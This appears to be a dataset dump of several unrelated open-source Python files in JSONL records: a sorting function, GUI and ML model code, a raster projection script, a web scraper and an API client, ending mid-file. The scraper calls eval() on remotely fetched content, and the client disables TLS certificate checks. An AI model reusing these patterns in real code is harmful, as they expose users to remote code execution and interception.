\"The Amazon River, the biggest in the world, dries up and becomes the world's \" \\\n \"biggest desert\"\n news3 = \"Plants can no longer recognize what season we are on. They now bloom at random \" \\\n \"moments of the year\"\n\n news = {\n 'news1': news1,\n 'news2': news2,\n 'news3': news3\n\n }\n\n return news\n", "source": "RohanJnr/code-jam-5", "license": "MIT"} {"text": "from traits.api import (\n HasStrictTraits, Float, List, Str, Instance,\n Int, on_trait_change\n)\nfrom traitsui.api import (\n TabularEditor, UItem, TabularAdapter, View)\n\n\nclass CurveTableRow(HasStrictTraits):\n \"\"\"Represents a row in the curve data table containing\n the maximum value for a selected variable that has been\n reported for a given formulation base\n \"\"\"\n\n #: Maximum value of selected variable for formulation base\n curve_max = Float\n\n #: List of evaluation step indices in the analysis model that\n #: are attributed to the formulation base this is calculated\n #: from\n evaluation_indices = List(Int)\n\n\nclass CurveDataTable(HasStrictTraits):\n \"\"\"Shows all combinations of data values recorded for particular\n formulation base (set of surfactants + their concentrations)\n and selected curve variable\n \"\"\"\n\n #: Contains all columns in the table. Each column is a variable\n #: in the analysis model, with the final column corresponding\n #: to the curve variable\n header = List(Str)\n\n #: List of rows representing data gathered for each formulation\n #: base\n table_rows = List(CurveTableRow)\n\n #: Reference to the selected table row in the UI\n selected_row = Instance(CurveTableRow)\n\n tabular_adapter = Instance(TabularAdapter)\n\n def default_traits_view(self):\n \"\"\"Creates a table view where each column corresponds to an\n object in the header attribute. The last column is expected\n to reference the maximum value reported in the curve\n \"\"\"\n tabular_editor = TabularEditor(\n adapter=self.tabular_adapter,\n editable=False,\n selected='selected_row'\n )\n\n return View(\n UItem('table_rows', editor=tabular_editor, style='custom')\n )\n\n def _create_columns(self):\n columns = [\n (variable, variable)\n for variable in self.header[:-1]\n ]\n if len(self.header) > 0:\n columns.append(\n (f\"max {self.header[-1]}\", 'curve_max')\n )\n return columns\n\n def _tabular_adapter_default(self):\n return TabularAdapter(\n columns=self._create_columns()\n )\n\n @on_trait_change('header[]')\n def _update_header(self):\n self.table_rows = []\n self.tabular_adapter.columns = self._create_columns()\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"} {"text": "def ssort(array):\n for i in range(len(array)):\n indxMin = i\n for j in range(i+1, len(array)):\n if array[j] < array[indxMin]:\n indxMin = j\n tmp = array[indxMin]\n array[indxMin] = array[i]\n array[i] = tmp\n return array\n", "source": "omeh2003/PythonAlgoritmSorting", "license": "MIT"} {"text": "from bs4 import BeautifulSoup as bs\nimport urllib.request\nfrom random import choice as rc\nimport os\nimport requests\n\ndef randImg():\n r= requests.get(\"https://www.shitpostbot.com/api/randsource\")\n img_url = \"https://www.shitpostbot.com/\"\n content = str(r.content)[2:-1:]\n content = content.replace('null', '0')\n img_url += eval(content)['sub']['img']['full'].replace('\\\\', '')\n return img_url\n\ndef getLink(query,review=\"accepted\",sort = 'random', order='total_rating',direction=\"DESC\"):\n url = f\"https://www.shitpostbot.com/gallery/sourceimages?review_state={review}&query={query}&order={order}&direction={direction}\"\n response = urllib.request.urlopen(url)\n if response.status != 200:\n raise HttpError(\"Failed to load given website. Check your review,sort,order,direction properly. This may also mean that the spb website is down.\")\n soup = bs(response,'html.parser')\n result = []\n for div in soup.findAll('div', attrs={'class':'img'}):\n result.append(div.find('a')['href'])\n if len(result) == 0:\n raise ResultError('Image with the given query does not exist')\n else:\n if sort == 'random':\n fin = rc(result)\n elif sort == 'top':\n fin = result[0]\n elif sort == 'bottom':\n fin = result[-1]\n return 'https://www.shitpostbot.com' + fin\n\ndef getImg(query,review=\"accepted\",sort='random', order='total_rating',direction=\"DESC\"):\n url = getLink(query,review,sort,order,direction)\n response = urllib.request.urlopen(url)\n soup = bs(response,'html.parser')\n for div in soup.findAll('div', attrs={'style':'padding-top: 15px'}):\n return 'https://www.shitpostbot.com' + (div.find('a')['href'])\n", "source": "Boidushya/spbdl", "license": "MIT"} {"text": "\"\"\"\nSimple small script for generating a nicely formatted Python module with\nembedded binary resources and docstrings.\n\n------------------------------------------------------------------------------\nThis file is part of SQLitely - SQLite database tool.\nReleased under the MIT License.\n\n@author Erki Suurjaak\n@created 21.08.2019\n@modified 17.06.2020\n------------------------------------------------------------------------------\n\"\"\"\nimport base64\nimport datetime\nimport os\nimport shutil\nimport wx.tools.img2py\n\n\"\"\"Target Python script to write.\"\"\"\nTARGET = os.path.join(\"..\", \"sqlitely\", \"images.py\")\n\nQ3 = '\"\"\"'\n\n\"\"\"Application icons of different size and colour depth.\"\"\"\nAPPICONS = [(\"Icon{0}x{0}_{1}bit.png\".format(s, b),\n \"SQLitely application {0}x{0} icon, {1}-bit colour.\".format(s, b))\n for s in (16, 24, 32, 40, 48, 64, 256) for b in (32, 8)]\nIMAGES = {\n \"ButtonClear.png\":\n \"Small icon for clear list button on start page.\",\n \"ButtonDetect.png\":\n \"Large icon for detect databases button on start page.\",\n \"ButtonFolder.png\":\n \"Large icon for import folder button on start page.\",\n \"ButtonExport.png\":\n \"Small icon for export button on start page.\",\n \"ButtonHome.png\":\n \"Large icon for home on start page.\",\n \"ButtonListDatabase.png\":\n \"Button for databases in database list.\",\n \"ButtonNew.png\":\n \"Large icon for new database on start page.\",\n \"ButtonOpen.png\":\n \"Button for open file on main page.\",\n \"ButtonOpenA.png\":\n \"Large icon for open database button on start page.\",\n \"ButtonRemove.png\":\n \"Small icon for remove database button on start page.\",\n \"ButtonRemoveMissing.png\":\n \"Small icon for remove missing button on start page.\",\n \"ButtonRemoveType.png\":\n \"Small icon for remove by type button on start page.\",\n \"ButtonSaveAs.png\":\n \"Small icon for save as button on start page.\",\n \"HelpData.png\":\n \"Help image on default search page for data page.\",\n \"HelpInfo.png\":\n \"Help image on default search page for information page.\",\n \"HelpPragma.png\":\n \"Help image on default search page for pragma page.\",\n \"HelpSchema.png\":\n \"Help image on default search page for schema page.\",\n \"HelpSearch.png\":\n \"Help image on default search page for search page.\",\n \"HelpSQL.png\":\n \"Help image on default search page for SQL window page.\",\n \"PageData.png\":\n \"Icon for the Data page in a database tab.\",\n \"PageInfo.png\":\n \"Icon for the Info page in a database tab.\",\n \"PagePragma.png\":\n \"Icon for the Pragma page in a database tab.\",\n \"PageSchema.png\":\n \"Icon for the Schema page in a database tab.\",\n \"PageSearch.png\":\n \"Icon for the Search page in a database tab.\",\n \"PageSQL.png\":\n \"Icon for the SQL Window page in a database tab.\",\n \"ToolbarCase.png\":\n \"Toolbar icon for case-insensitive toggle button in data grids.\",\n \"ToolbarClear.png\":\n \"Toolbar icon for reset sort/filter button in data grids.\",\n \"ToolbarCommit.png\":\n \"Toolbar icon for commit button in database table grids.\",\n \"ToolbarDelete.png\":\n \"Toolbar icon for delete button in database table grids.\",\n \"ToolbarForm.png\":\n \"Toolbar icon for form button in data grids.\",\n \"ToolbarGoto.png\":\n \"Toolbar icon for goto button in data grids.\",\n \"ToolbarInsert.png\":\n \"Toolbar icon for insert button in database table grids.\",\n \"ToolbarRefresh.png\":\n \"Toolbar icon for refresh button.\",\n \"ToolbarRollback.png\":\n \"Toolbar icon for rollback button in database table grids.\",\n \"ToolbarStop.png\":\n \"Toolbar icon for stop button on search page.\",\n \"ToolbarStopped.png\":\n \"Toolbar icon for inactive stop button on search page.\",\n \"ToolbarData.png\":\n \"Toolbar icon for data button on search page.\",\n \"ToolbarTabs.png\":\n \"Toolbar icon for tabs toggle button on search page.\",\n \"ToolbarTitle.png\":\n \"Toolbar icon for title toggle button on search page.\",\n \"TransparentPixel.gif\":\n \"Transparent 1x1 GIF.\",\n \"TreeTrigger.png\":\n \"TreeListCtrl icon for triggers.\",\n}\nHEADER = \"\"\"%s\nContains embedded image and icon resources for SQLitely. Auto-generated.\n\n------------------------------------------------------------------------------\nThis file is part of SQLitely - SQLite database tool.\nReleased under the MIT License.\n\n@author Erki Suurjaak\n@created 21.08.2019\n@modified %s\n------------------------------------------------------------------------------\n%s\ntry:\n import wx\n from wx.lib.embeddedimage import PyEmbeddedImage\nexcept ImportError:\n class PyEmbeddedImage(object):\n \\\"\\\"\\\"Data stand-in for wx.lib.embeddedimage.PyEmbeddedImage.\\\"\\\"\\\"\n def __init__(self, data):\n self.data = data\n\"\"\" % (Q3, datetime.date.today().strftime(\"%d.%m.%Y\"), Q3)\n\n\ndef create_py(target):\n global HEADER, APPICONS, IMAGES\n f = open(target, \"w\")\n f.write(HEADER)\n icons = [os.path.splitext(x)[0] for x, _ in APPICONS]\n icon_parts = [\", \".join(icons[4*i:4*i+4]) for i in range(len(icons) / 4)]\n iconstr = \",\\n \".join(icon_parts)\n f.write(\"\\n\\n%s%s%s\\ndef get_appicons():\\n icons = wx.IconBundle()\\n\"\n \" [icons.AddIcon(i.Icon) \"\n \"for i in [\\n %s\\n ]]\\n return icons\\n\" % (Q3,\n \"Returns the application icon bundle, \"\n \"for several sizes and colour depths.\",\n Q3, iconstr.replace(\"'\", \"\").replace(\"[\", \"\").replace(\"]\", \"\")\n ))\n for filename, desc in APPICONS:\n name, extension = os.path.splitext(filename)\n f.write(\"\\n\\n%s%s%s\\n%s = PyEmbeddedImage(\\n\" % (Q3, desc, Q3, name))\n data = base64.b64encode(open(filename, \"rb\").read())\n while data:\n f.write(\" \\\"%s\\\"\\n\" % data[:72])\n data = data[72:]\n f.write(\")\\n\")\n for filename, desc in sorted(IMAGES.items()):\n name, extension = os.path.splitext(filename)\n f.write(\"\\n\\n%s%s%s\\n%s = PyEmbeddedImage(\\n\" % (Q3, desc, Q3, name))\n data = base64.b64encode(open(filename, \"rb\").read())\n while data:\n f.write(\" \\\"%s\\\"\\n\" % data[:72])\n data = data[72:]\n f.write(\")\\n\")\n f.close()\n\n\nif \"__main__\" == __name__:\n create_py(TARGET)\n", "source": "suurjaak/SQLitely", "license": "MIT"} {"text": "from abc import ABCMeta\nfrom typing import Dict, List, Tuple\nimport numpy as np\nimport tensorflow as tf\nimport tf_metrics\nfrom IMGJM.layers import (CharEmbedding, GloveEmbedding, CoarseGrainedLayer,\n Interaction, FineGrainedLayer)\n\n\nclass BaseModel(metaclass=ABCMeta):\n def build_tf_session(self,\n logdir: str,\n deploy: bool,\n var_list: List[tf.Variable] = None):\n self.sess = tf.Session()\n if var_list:\n self.saver = tf.train.Saver(var_list=var_list)\n else:\n self.saver = tf.train.Saver()\n if not deploy:\n self.merged_all = tf.summary.merge_all()\n self.train_log_writer = tf.summary.FileWriter(\n logdir=logdir, graph=self.sess.graph)\n self.test_log_writer = tf.summary.FileWriter(logdir=logdir,\n graph=self.sess.graph)\n\n def initialize_weights(self):\n self.sess.run(tf.global_variables_initializer())\n self.sess.run(tf.local_variables_initializer())\n\n def save_model(self, model_dir: str):\n self.saver.save(sess=self.sess, save_path=model_dir)\n\n def load_model(self, model_dir: str):\n self.saver.restore(sess=self.sess, save_path=model_dir)\n\n\nclass IMGJM(BaseModel):\n '''\n Interactive Multi-Grained Joint Model for Targeted Sentiment Analysis (CIKM 2019)\n\n Attributes:\n char_vocab_size (int)\n embedding_weights (np.ndarray)\n batch_size (int) \n learning_rate (float) \n embedding_size (int) \n hidden_nums (int) \n dropout (bool)\n dropout_rate (float) \n kernel_size (int) \n filter_nums (int) \n C_tar (int) \n C_sent (int) \n beta (float) \n gamma (float) \n '''\n def __init__(self,\n char_vocab_size: int,\n embedding_weights: np.ndarray = None,\n embedding_size: int = 300,\n input_type: str = 'ids',\n batch_size: int = 32,\n learning_rate: float = 0.001,\n hidden_nums: int = 700,\n dropout: bool = True,\n dropout_rate: float = 0.5,\n kernel_size: int = 3,\n filter_nums: int = 50,\n C_tar: int = 5,\n C_sent: int = 7,\n beta: float = 1.0,\n gamma: float = 0.7,\n logdir: str = 'logs',\n deploy: bool = False,\n *args,\n **kwargs):\n # attributes\n self.char_vocab_size = char_vocab_size\n self.input_type = input_type\n if self.input_type == 'ids':\n self.embedding_weights = embedding_weights\n self.word_vocab_size = embedding_weights.shape[0]\n self.embedding_size = embedding_weights.shape[1]\n self.embedding_shape = embedding_weights.shape\n else:\n self.embedding_size = embedding_size\n self.batch_size = batch_size\n self.learning_rate = learning_rate\n self.dropout = dropout\n self.dropout_rate = dropout_rate\n self.kernel_size = kernel_size\n self.filter_nums = filter_nums\n self.C_tar = C_tar\n self.C_sent = C_sent\n self.beta = beta\n self.gamma = gamma\n self.logdir = logdir\n\n # layers\n self.char_embedding = CharEmbedding(vocab_size=char_vocab_size)\n if self.input_type == 'ids':\n self.word_embedding = GloveEmbedding()\n self.coarse_grained_layer = CoarseGrainedLayer(hidden_nums=hidden_nums)\n self.interaction_layer = Interaction(hidden_nums=hidden_nums,\n C_tar=C_tar,\n C_sent=C_sent)\n self.fine_grained_layer = FineGrainedLayer(hidden_nums=hidden_nums,\n C_tar=C_tar,\n C_sent=C_sent)\n\n # build session\n self.build_model()\n self.build_metrics()\n var_list = [\n v for v in tf.global_variables()\n if v.name != 'Placeholders/WordEmbedding:0'\n ]\n self.build_tf_session(logdir=logdir, deploy=deploy, var_list=var_list)\n self.initialize_weights()\n if input_type == 'ids':\n self.initialize_embedding(embedding_weights)\n\n def initialize_embedding(self, embedding_weights: np.ndarray):\n with tf.name_scope('Initializing'):\n self.embedding_placeholder = tf.placeholder(\n tf.float32, shape=self.embedding_shape)\n self.sess.run(\n self.glove_embedding.assign(self.embedding_placeholder),\n feed_dict={self.embedding_placeholder: embedding_weights})\n\n def build_model(self):\n '''\n Model building function\n '''\n with tf.name_scope('Placeholders'):\n if self.input_type == 'ids':\n self.word_ids = tf.placeholder(dtype=tf.int32,\n shape=[None, None])\n self.glove_embedding = tf.Variable(tf.constant(\n 0.0, shape=self.embedding_shape),\n trainable=False,\n name='WordEmbedding')\n else:\n self.word_embedding = tf.placeholder(\n dtype=tf.float32, shape=[None, None, self.embedding_size])\n self.char_ids = tf.placeholder(dtype=tf.int32,\n shape=[None, None, None])\n self.sequence_length = tf.placeholder(dtype=tf.int32, shape=[None])\n self.y_target = tf.placeholder(dtype=tf.int32, shape=[None, None])\n self.y_sentiment = tf.placeholder(dtype=tf.int32,\n shape=[None, None])\n self.training = tf.placeholder(dtype=tf.bool)\n with tf.name_scope('Hidden_layers'):\n char_embedding = self.char_embedding(self.char_ids)\n self.char_e = char_embedding\n if self.input_type == 'ids':\n word_embedding = self.word_embedding(\n self.word_ids, embedding_placeholder=self.glove_embedding)\n else:\n word_embedding = self.word_embedding\n if self.dropout:\n char_embedding = tf.layers.dropout(char_embedding,\n rate=self.dropout_rate,\n training=self.training)\n word_embedding = tf.layers.dropout(word_embedding,\n rate=self.dropout_rate,\n training=self.training)\n coarse_grained_target, self.sentiment_clue, hidden_states = self.coarse_grained_layer(\n char_embedding, word_embedding, self.sequence_length)\n interacted_target, interacted_sentiment = self.interaction_layer(\n coarse_grained_target, self.sentiment_clue, hidden_states)\n multi_grained_target, multi_grained_sentiment = self.fine_grained_layer(\n interacted_target, interacted_sentiment, hidden_states,\n self.sequence_length)\n if self.dropout:\n multi_grained_target = tf.layers.dropout(\n multi_grained_target,\n rate=self.dropout_rate,\n training=self.training)\n multi_grained_sentiment = tf.layers.dropout(\n multi_grained_sentiment,\n rate=self.dropout_rate,\n training=self.training)\n with tf.name_scope('CRF'):\n with tf.name_scope('Target'), tf.variable_scope(\n 'Target_Variables', reuse=tf.AUTO_REUSE):\n target_log_likelihood, target_trans_params = tf.contrib.crf.crf_log_likelihood(\n inputs=multi_grained_target,\n tag_indices=self.y_target,\n sequence_lengths=self.sequence_length)\n with tf.name_scope('Sentiment'), tf.variable_scope(\n 'Sentiment_Variables', reuse=tf.AUTO_REUSE):\n sentiment_log_likelihood, sentiment_trans_params = tf.contrib.crf.crf_log_likelihood(\n inputs=multi_grained_sentiment,\n tag_indices=self.y_sentiment,\n sequence_lengths=self.sequence_length)\n with tf.name_scope('Loss'):\n loss_target = tf.reduce_mean(-target_log_likelihood)\n loss_sentiment = tf.reduce_mean(-sentiment_log_likelihood)\n loss_ol = tf.reduce_mean(coarse_grained_target[:, :, 0] *\n self.sentiment_clue[:, :, 0])\n # P(not O) = 1 - P(O)\n loss_brl = tf.losses.mean_squared_error(\n 1 - tf.nn.softmax(multi_grained_target)[:, :, 0],\n 1 - tf.nn.softmax(multi_grained_sentiment)[:, :, 0])\n self.total_loss = loss_target + loss_sentiment + self.beta * loss_ol + self.gamma * loss_brl\n with tf.name_scope('Optimization'):\n optimizer = tf.train.AdamOptimizer(\n learning_rate=self.learning_rate)\n self.train_op = optimizer.minimize(\n self.total_loss,\n global_step=tf.train.get_or_create_global_step())\n with tf.name_scope('Prediction'):\n self.target_preds, _ = tf.contrib.crf.crf_decode(\n potentials=multi_grained_target,\n transition_params=target_trans_params,\n sequence_length=self.sequence_length)\n self.sentiment_preds, _ = tf.contrib.crf.crf_decode(\n potentials=multi_grained_sentiment,\n transition_params=sentiment_trans_params,\n sequence_length=self.sequence_length)\n\n def build_metrics(self):\n with tf.name_scope('Metrics'):\n average = 'micro'\n with tf.name_scope('Train'):\n self.train_target_precision, self.train_target_precision_op = tf_metrics.precision(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.train_target_recall, self.train_target_recall_op = tf_metrics.recall(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.train_target_f1, self.train_target_f1_op = tf_metrics.f1(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.train_sentiment_precision, self.train_sentiment_precision_op = tf_metrics.precision(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n self.train_sentiment_recall, self.train_sentiment_recall_op = tf_metrics.recall(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n self.train_sentiment_f1, self.train_sentiment_f1_op = tf_metrics.f1(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n with tf.name_scope('Test'):\n self.test_target_precision, self.test_target_precision_op = tf_metrics.precision(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.test_target_recall, self.test_target_recall_op = tf_metrics.recall(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.test_target_f1, self.test_target_f1_op = tf_metrics.f1(\n self.y_target,\n self.target_preds,\n self.C_tar, [i for i in range(1, self.C_tar)],\n average=average)\n self.test_sentiment_precision, self.test_sentiment_precision_op = tf_metrics.precision(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n self.test_sentiment_recall, self.test_sentiment_recall_op = tf_metrics.recall(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n self.test_sentiment_f1, self.test_sentiment_f1_op = tf_metrics.f1(\n self.y_sentiment,\n self.sentiment_preds,\n self.C_sent, [i for i in range(1, self.C_sent)],\n average=average)\n\n def train_on_batch(self, inputs: Dict) -> Tuple[float]:\n '''\n Train function of IMGJM\n\n Args:\n inputs (dict)\n\n Returns:\n tar_p (float) \n tar_r (float) \n tar_f1 (float) \n sent_p (float) \n sent_r (float) \n sent_f1 (float) \n '''\n if self.input_type == 'ids':\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_ids: inputs.get('word_ids'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n else:\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_embedding: inputs.get('word_embedding'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n metrics_ops = [\n self.train_target_precision_op, self.train_target_recall_op,\n self.train_target_f1_op, self.train_sentiment_precision_op,\n self.train_sentiment_recall_op, self.train_sentiment_f1_op\n ]\n metrics = [\n self.train_target_precision, self.train_target_recall,\n self.train_target_f1, self.train_sentiment_precision,\n self.train_sentiment_recall, self.train_sentiment_f1\n ]\n self.sess.run(self.train_op, feed_dict=feed_dict)\n self.sess.run(metrics_ops, feed_dict=feed_dict)\n tar_p, tar_r, tar_f1, sent_p, sent_r, sent_f1 = self.sess.run(metrics)\n return tar_p, tar_r, tar_f1, sent_p, sent_r, sent_f1\n\n def test_on_batch(self, inputs: Dict) -> Tuple[float]:\n '''\n Test function of IMGJM\n\n Args:\n inputs (dict)\n\n Returns:\n tar_p (float) \n tar_r (float) \n tar_f1 (float) \n sent_p (float) \n sent_r (float) \n sent_f1 (float) \n '''\n if self.input_type == 'ids':\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_ids: inputs.get('word_ids'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n else:\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_embedding: inputs.get('word_embedding'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n metrics_ops = [\n self.test_target_precision_op, self.test_target_recall_op,\n self.test_target_f1_op, self.test_sentiment_precision_op,\n self.test_sentiment_recall_op, self.test_sentiment_f1_op\n ]\n metrics = [\n self.test_target_precision, self.test_target_recall,\n self.test_target_f1, self.test_sentiment_precision,\n self.test_sentiment_recall, self.test_sentiment_f1\n ]\n self.sess.run(metrics_ops, feed_dict=feed_dict)\n tar_p, tar_r, tar_f1, sent_p, sent_r, sent_f1 = self.sess.run(metrics)\n return tar_p, tar_r, tar_f1, sent_p, sent_r, sent_f1\n\n def predict_on_batch(self, inputs: Dict) -> Tuple[np.ndarray]:\n '''\n Predict function of IMGJM\n\n Args:\n inputs (dict)\n\n Returns:\n target_preds (np.ndarray)\n sentiment_preds (np.ndarray)\n '''\n if self.input_type == 'ids':\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_ids: inputs.get('word_ids'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n else:\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_embedding: inputs.get('word_embedding'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: True\n }\n target_preds, sentiment_preds = self.sess.run(\n [self.target_preds, self.sentiment_preds], feed_dict=feed_dict)\n return target_preds, sentiment_preds\n\n def get_sentiment_clue(self, inputs: Dict) -> np.ndarray:\n feed_dict = {\n self.char_ids: inputs.get('char_ids'),\n self.word_ids: inputs.get('word_ids'),\n self.sequence_length: inputs.get('sequence_length'),\n self.y_target: inputs.get('y_target'),\n self.y_sentiment: inputs.get('y_sentiment'),\n self.training: False\n }\n sentiment_clue = self.sess.run(self.sentiment_clue,\n feed_dict=feed_dict)\n return sentiment_clue\n", "source": "ruofanhu/Tweet-FD", "license": "MIT"} {"text": "#!/usr/bin/env python\n\nimport argparse\nimport math\nimport time\n\nimport fiona\nimport multiprocessing\nfrom rasterio.plot import show\nimport math\nimport os\n\nimport click\n#import matlibplot.pyplot as plt\nimport numpy as np\nimport numpy.ma as ma\nimport rasterio\nfrom rasterio.plot import show, show_hist\n\nfrom projections.rasterset import RasterSet, Raster\nfrom projections.simpleexpr import SimpleExpr\nimport projections.predicts as predicts\nimport projections.r2py.modelr as modelr\nimport projections.utils as utils\n\nRD_DIST_MIN = 0\nRD_DIST_MAX = 195274.3\nHPD_MIN = 0\nHPD_MAX = 22490\n\nparser = argparse.ArgumentParser(description=\"ab.py -- abundance projections\")\nparser.add_argument('--mainland', '-m', dest='mainland', default=False,\n action='store_true',\n help='Project using mainland coefficients '\n '(default: islands)')\nparser.add_argument('--clip', '-c', dest='clip', default=False,\n action='store_true',\n help='Clip predictor variables to max value seen '\n 'during model fitting')\nargs = parser.parse_args()\n\nif args.mainland:\n ISLMAIN = 1\n mask_file = os.path.join(utils.data_root(),\n '1km/mainland-from-igor-edited-at.tif')\nelse:\n ISLMAIN = 0\n mask_file = os.path.join(utils.data_root(),\n '1km/islands-from-igor-edited-at.tif')\n\n# Open the mask raster file (Mainlands)\nmask_ds = rasterio.open(mask_file)\n\n# Read Katia's abundance model\nmod = modelr.load('/home/vagrant/katia/models/best_model_abund.rds')\npredicts.predictify(mod)\n\n# Import standard PREDICTS rasters\nrasters = predicts.rasterset('1km', 'medium', year = 2005)\n\n# create an ISL_MAINL raster\n# set it to Mainlands this time round (set Mainlands to 1 and Islands to 0)\nrasters['ISL_MAINLMAINLAND'] = SimpleExpr('ISL_MAINLMAINLAND', ISLMAIN)\n\n# specify the plantation forest maps as 0\n# not sure why it's plantations_pri rather than plantation, but hey ho\nrasters['plantation_pri'] = SimpleExpr('plantation_pri', 0)\nrasters['plantation_pri_minimal'] = SimpleExpr('plantation_pri_minimal', 0)\nrasters['plantation_pri_light'] = SimpleExpr('plantation_pri_light', 0)\nrasters['plantation_pri_intense'] = SimpleExpr('plantation_pri_intense', 0)\n\n## If CLIP is true, limit the predictor variable values to the max seen\n## when fitting the model\nif args.clip:\n rasters['clip_hpd'] = SimpleExpr('clip_hpd',\n 'clip(hpd_ref, %f, %f)' %(HPD_MIN, HPD_MAX))\nelse:\n rasters['clip_hpd'] = SimpleExpr('clip_hpd', 'hpd_ref')\n###log values and then rescale them 0 to 1\n# we need to check whether the logHPD.rs automatically produced uses the\n# same values we use if not, manually create logHPD.rs\nrasters['logHPD_rs'] = SimpleExpr('logHPD_rs',\n 'scale(log(clip_hpd + 1), 0.0, 1.0, 0.0, 10.02087)')\n\n## I'm setting up min and max log values to rescale\n\n# Same is true for logDistRd_rs\nrasters['DistRd'] = Raster('DistRd', os.path.join(utils.data_root(), '1km/rddistwgs.tif')) ###Use new raster\n## If args.clip is true, limit the predictor variable values to the max seen\n## when fitting the model\nif args.clip:\n rasters['clipDistRd'] = SimpleExpr('clipDistRd',\n 'clip(DistRd, %f, %f)' %(RD_DIST_MIN,\n RD_DIST_MAX))\nelse:\n rasters['clipDistRd'] = SimpleExpr('clipDistRd', 'DistRd')\nrasters['logDistRd_rs'] = SimpleExpr('logDistRd_rs',\n 'scale(log(clipDistRd + 100),'\n '0.0, 1.0, -1.120966, 12.18216)')\n###Added +100 to DistRd to deal with zero values\n\n# set up the rasterset, cropping to mainlands\nrs = RasterSet(rasters, mask = mask_ds, maskval=0, crop = True)\n# if you're projecting the whole world, use this code instead\n# rs = RasterSet(rasters)\n\n# evaluate the model\n# model is square root abundance so square it\n\n# Note that the intercept value has been calculated for the baseline\n# land use when all other variables are held at 0\n\n# Therefore I calculate separatedly an intercept where DistRd is set to\n# the max value, i.e. logDistRd_RS = 1.\nintercept = mod.partial({'ISL_MAINLMAINLAND': ISLMAIN,\n 'logDistRd_rs': 1.0})\nprint(\"intercept: %.5f\" % intercept)\nif args.mainland:\n assert math.isclose(intercept, 0.67184, rel_tol=0.001)\nelse:\n ## FIXME: Replace RHS with the R calculated value\n assert math.isclose(intercept, 0.7270164, rel_tol=0.001)\n\nrs[mod.output] = mod\nrs['output'] = SimpleExpr('output', '(pow(%s, 2) / pow(%f, 2))' % (mod.output, intercept))\n\nfname = 'ab-%s.tif' % ('mainland' if args.mainland else 'islands')\npath = ('katia', 'clip' if args.clip else 'no-clip', fname)\nrs.write('output', utils.outfn(*path))\n", "source": "ricardog/raster-project", "license": "Apache-2.0"} {"text": "import random\nfrom datetime import datetime\nimport factory\nfrom tests.factories import faker\nfrom faker import Factory\nfrom config.db import db\nfrom federation_api.people.model import Person\n\n\nclass PersonFactory(factory.alchemy.SQLAlchemyModelFactory):\n class Meta:\n model = Person\n sqlalchemy_session = db.session\n\n email = factory.LazyAttribute(lambda x: faker.email())\n phone = factory.LazyAttribute(lambda x: faker.phone_number())\n account_id = factory.LazyAttribute(lambda x: random.randint(1000, 9999))\n name = factory.LazyAttribute(lambda x: faker.name())\n", "source": "practo/federation", "license": "MIT"} {"text": "from requests.packages.urllib3.exceptions import InsecureRequestWarning\nimport requests\nimport json\nimport pickle\nimport logging\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\nclass CfClient:\n\n def __init__(self, userName, userPassword, controllerAddress):\n self.userName = userName\n self.userPassword = userPassword\n self.controllerAddress = \"https://\" + controllerAddress + \"/api/v2\"\n self.__bearerToken = \"\"\n self.__isLogged = False\n self.__session = requests.session()\n self.__session.verify = False\n\n # logging.basicConfig()\n # logging.getLogger().setLevel(logging.DEBUG)\n ## requests_log = logging.getLogger(\"requests.packages.urllib3\")\n # requests_log.setLevel(logging.DEBUG)\n ## requests_log.propagate = True\n\n def generateToken(self):\n response = self.__session.post(self.controllerAddress + '/token',\n data={'email': self.userName,\n 'password': self.userPassword})\n if response.status_code == 201:\n self.__bearerToken = json.loads(response.text)['token']\n self.__session.headers.update(\n {'Authorization': 'Bearer {0}'.format(self.__bearerToken)})\n self.__isLogged = True\n return self.__bearerToken\n\n def invalidateToken(self):\n return self.__session.delete(\n self.controllerAddress + '/token'\n )\n\n def isLogged(self):\n return self.__isLogged\n\n def getFile(self, fileId):\n return self.__session.get(\n self.controllerAddress + '/files/' + fileId\n )\n\n def downloadFile(self, fileId):\n return self.__session.get(\n self.controllerAddress + '/files/' + fileId + '/download'\n )\n\n def getFiles(self):\n return self.__session.get(\n self.controllerAddress + '/files'\n )\n\n def uploadFileMultipart(self, filePath):\n files = {'file': open(filePath, 